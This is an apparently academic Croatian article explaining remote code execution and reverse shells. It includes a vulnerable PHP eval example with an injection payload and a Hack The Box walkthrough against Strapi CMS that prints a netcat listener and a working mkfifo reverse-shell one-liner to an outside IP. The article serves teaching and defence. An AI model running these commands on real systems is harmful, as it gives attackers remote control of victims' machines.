Reverse shell, interaktivna ljuska pokrenuta sa računala koje nije žrtvino, moćan je alat koji predstavlja veliku opasnost za nezaštićene sustave. On omogućava izvođenje naredbi na žrtvinom računalu sa udaljenog računala u interaktivnom načinu koji stvara privid izvođenja naredbi direktno sa žrtvinog računala. Metoda koja omogućava reverse shell je tzv. RCE, odnosno Remote Code Execution koji omogućava izvođenje proizvoljnih naredbi na žrtvinom računalu bez direktnog pristupa istom. Ako je sustav ranjiv na RCE, to može dovesti do kompromitiranja cijele web aplikacije i/ili poslužitelja. Ovisno o interpreteru kojeg žrtvino računalo koristi (bash, perl, python, php, …), postoje razne naredbe za dobivanje reverse shell – a. Što se obrane od reverse shell – ova tiče, najbolja metoda je ograničavanje IP adresa koje imaju pristup žrtvinom računalu pomoću firewall – ova ili proxy poslužitelja. Međutim, ne postoji metoda koja bi u potpunosti spriječila napadača da dođe do reverse shell – a.
Ključne riječi: RCE, reverse shell, programski jezik, hakiranje
U današnje vrijeme, sve više uređaja je povezano na Internet. Svatko želi biti umrežen, no mnogi ne shvaćaju kako to za sobom povlači mnoge sigurnosne rizike. Danas, više nije pitanje hoće li se proboj desiti, nego kada će se desiti? Najčešći uzrok sve učestalijih napada od strane znatiželjnika, ali i ozbiljnih napadača s ciljem jest nepravilna sigurnosna konfiguracija uređaja koji se spajaju na Internet. Ovaj rad će pokazati jedan od realnih vektora koji napadač može iskoristiti pri ulazu u sustav i samim time nanijeti popriličnu štetu. Taj vektor uključuje korištenje tzv. RCE metode preko koje je često moguće dobiti tzv. reverse shell koji napadaču na interaktivan način omogućuje udaljeno izvršavanje naredbi na žrtvinom računalu.
RCE (eng. Remote Command Execution), naziv je za metodu koja predstavlja oblik kibernetičkog napada na računalo pri kojem napadač sa svojeg, udaljenog računala, može slobodno izvoditi proizvoljne naredbe na žrtvinom računalu. RCE je najčešće ukomponiran u malware ili neki drugi oblik virusa s ciljem aktiviranja pri preuzimanju zloćudne datoteke od strane žrtve. Ranjivost koja za posljedicu ima RCE manifestira se u obliku nepravilnog rukovanja podacima na ulazu, odnosno njihovog nepravilnog filtriranja te otklanjanja sumnjivih znakova.
U nastavku je dan primjer lošeg isječka koda koji radi evaluaciju u programskom jeziku PHP koji je danas jedan od najčešće korištenih jezika u web aplikacijama.
eval(“\$$user = ‘$regdate’);
U ovom primjeru, programer je odlučio dinamički generirati imena varijabli za svakog korisnika te pohraniti njihov datum registracije. Međutim, obzirom da varijabla korisničkog imena u potpunosti ovisi o korisnikovom unosu, napadač bi mogao unijeti nešto poput
x = ‘y’;phpinfo();\/\/
čime bi se generirao sljedeći PHP kod:
$x = ‘y’;phpinfo();\/\/ = 2016’;
Vidljivo je kako je korisnik varijabli „x“ pridodao vrijednost „y“, ali je, uz to, prvo znakom „;“ odijelio naredbe te potom dodao novu, „phpinfo();“ koja će se izvršiti pri svakom sljedećem pokretanju tog dijela programskog koda.
Jednom kada je napadač utvrdio mogućnost RCE – a na žrtvinom računalu, najčešće će probati otići korak dalje kako bi si olakšao daljnji posao, a to je dobivanje reverse shell – a. Reverse shell je interaktivna ljuska koja omogućava lakše izvođenje naredbi na žrtvinom računalu. Postoje mnogi načini za dobivanje reverse shell – a. Metoda kojom će napadač krenuti ovisi o primjerice operacijskom sustavu ili interpreteru kojeg žrtva koristi na svojem računalu. Međutim, neovisno o putu kojeg napadač izabere, dva su koraka potrebna za dobivanje reverse shell – a. U nastavku će biti opisani koraci za dobivanje reverse shell – a na operacijskom sustavu Linux te će također biti pretpostavljeno da žrtva na svojem računalu koristi operacijski sustav Linux. Prvi korak je postavljanje tzv. listenera na svojem računalu. Taj listener sluša sve nadolazeće konekcije na određenom portu te javnoj IP adresi, odnosno, u ovom slučaju, čeka na zahtjev za konekcijom sa žrtvinog računala koji će dovesti do reverse shell – a. Listener se najčešće postavlja alatom netcat
. Jednom kada je listener postavljen, potrebno je izvršiti niz naredbi na žrtvinom računalu koje su najčešće sve napisane odjednom, tzv. one-liner. Te naredbe će napraviti ljusku te vratiti povratnu vezu na napadačevo računalo na portu specificiranom kod postavljanja listenera. Kao što je već rečeno, programski jezik u kojem će se pisati one-liner ovisi o interpreteru na žrtvinom računalu. Međutim, ne znamo uvijek sa sigurnošću o kojem se interpreteru radi pa je stoga potrebno ići metodom pokušaja i pogreške. Samim time, u većini slučajeva se pretpostavlja kako se radi o bash – u, obzirom da je to najčešći interpreter kojeg računala sa Linux operacijskim sustavom koriste.
U idućem primjeru opisat će se postupak dobivanja reverse shell – a na jednom od ranjivih računala sa tzv. Hack The Box platforme na kojoj je cilj doći do root pristupa na ranjivom računalu. Bez detaljnog opisivanja scenarija, radi se o računalu koje koristi Strapi CMS verzije 3.0.0-beta.17.4. Ta verzija ranjiva je na RCE (CVE-2019-18818, CVE-2019-19609) te je samim time bilo moguće pokušati dobiti reverse shell. Koristeći jedan od javno poznatih exploita za navedenu ranjivost, omogućen nam je RCE. Idući korak je dobivanje reverse shell – a. Kao što je navedeno u prošlom odlomku, prvo je potrebno postaviti listener na napadačevom računalu. To je u ovom slučaju učinjeno naredbom nc -lvnp 1312
. Zatim je potrebno napisati ¬one-liner koji će napadaču vratiti reverse shell sa žrtvinog računala. U ovom primjeru, to je napravljeno naredbom rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.132 1312 >/tmp/f
.
U ovom slučaju, nije korištena standardna netcat naredba za dobivanje reverse shell – a. Razlog tome je što ova naredba radi čak i ako je na žrtvinom računala instalirana verzija netcata koja ne podržava -e opciju koju koristi „tradicionalna“ naredba za dobivanje reverse shell – a. Ova naredba u suštini radi ono što radi netcat, uspostavlja dvosmjernu TCP vezu između žrtvinog i napadačevog računala na navedenom portu. Nakon izvršavanja one-liner – a, dobiva se reverse shell te napadač ima ovlasti korisnika strapi na žrtvinom računalu. U primjeru se pristup potvrđuje naredbom whoami
.
Kao što je vidljivo u prethodnom primjeru, iskorištavanje ranjivosti koja omogućava RCE te samim time dobivanje reverse shell – a lakše je nego što bi netko mislio na prvu. Ne postoji apsolutna obrana od RCE ranjivosti, ali sustavi se mogu ojačati pravilnim postavljanjem firewall – ova te tzv. proxy poslužitelja. Samim time, današnje sustave je vrlo bitno držati ažurnima kako bi se umanjila površina napada, a samim time i vjerojatnost da se napad dogodi.
[1] https://www.wallarm.com/what/the-concept-of-rce-remote-code-execution-attack
[2] https://www.netsparker.com/blog/web-security/understanding-reverse-shells/
[3] https://www.acunetix.com/blog/web-security-zone/what-is-reverse-shell/
[4] https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
[5] https://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-127498